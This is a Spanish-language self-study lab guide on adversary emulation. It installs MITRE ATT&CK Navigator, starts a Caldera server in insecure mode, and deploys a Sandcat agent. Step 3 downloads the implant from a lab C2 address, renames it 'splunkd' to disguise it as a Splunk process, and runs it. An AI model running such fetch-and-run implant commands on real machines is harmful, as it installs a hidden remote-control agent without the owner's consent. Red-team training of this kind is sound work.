Modalidad de Autoaprendizaje y Experimentación Libre
Laboratorio de autoaprendizaje procedimental: ejecuta los comandos en tu laboratorio local y contrasta los resultados obtenidos sin requerir entrega de archivos.
Guía Paso a Paso de Ejecución
Sigue las instrucciones y prueba los comandos en tu máquina virtual Kali Linux o laboratorio local:
Paso 1
Fase 1: Mapeo de Técnicas en ATT&CK Navigator
Instalar y clonar localmente la interfaz de visualización de matrices MITRE.
Entorno de Pruebas / Consola
$ git clone https://github.com/mitre-attack/attack-navigator.git
$ cd attack-navigator/nav-app && npm install && npm start
Paso 2
Fase 2: Despliegue de la Plataforma Caldera
Iniciar el servidor central de Caldera y verificar plugins habilitados (stockpile, sandcat).
Entorno de Pruebas / Consola
$ git clone https://github.com/mitre/caldera.git --recursive
$ cd caldera && pip3 install -r requirements.txt
$ python3 server.py --insecure
Paso 3
Fase 3: Inyección de Agente Sandcat y Ejecución de Operación
Desplegar el implante en máquina cliente y programar un perfil de adversario básico.
Entorno de Pruebas / Consola
$ curl -s -X POST -H "file:sandcat.go" http://192.168.1.100:8888/file/download > splunkd
$ chmod +x splunkd && ./splunkd -server http://192.168.1.100:8888 -group red
Consejo del Instructor: Te recomendamos registrar tus salidas y comandos en un cuaderno personal de laboratorio (Markdown o Obsidian) para consolidar tu metodología de análisis.
Última modificación: domingo, 27 de septiembre de 2026, 23:29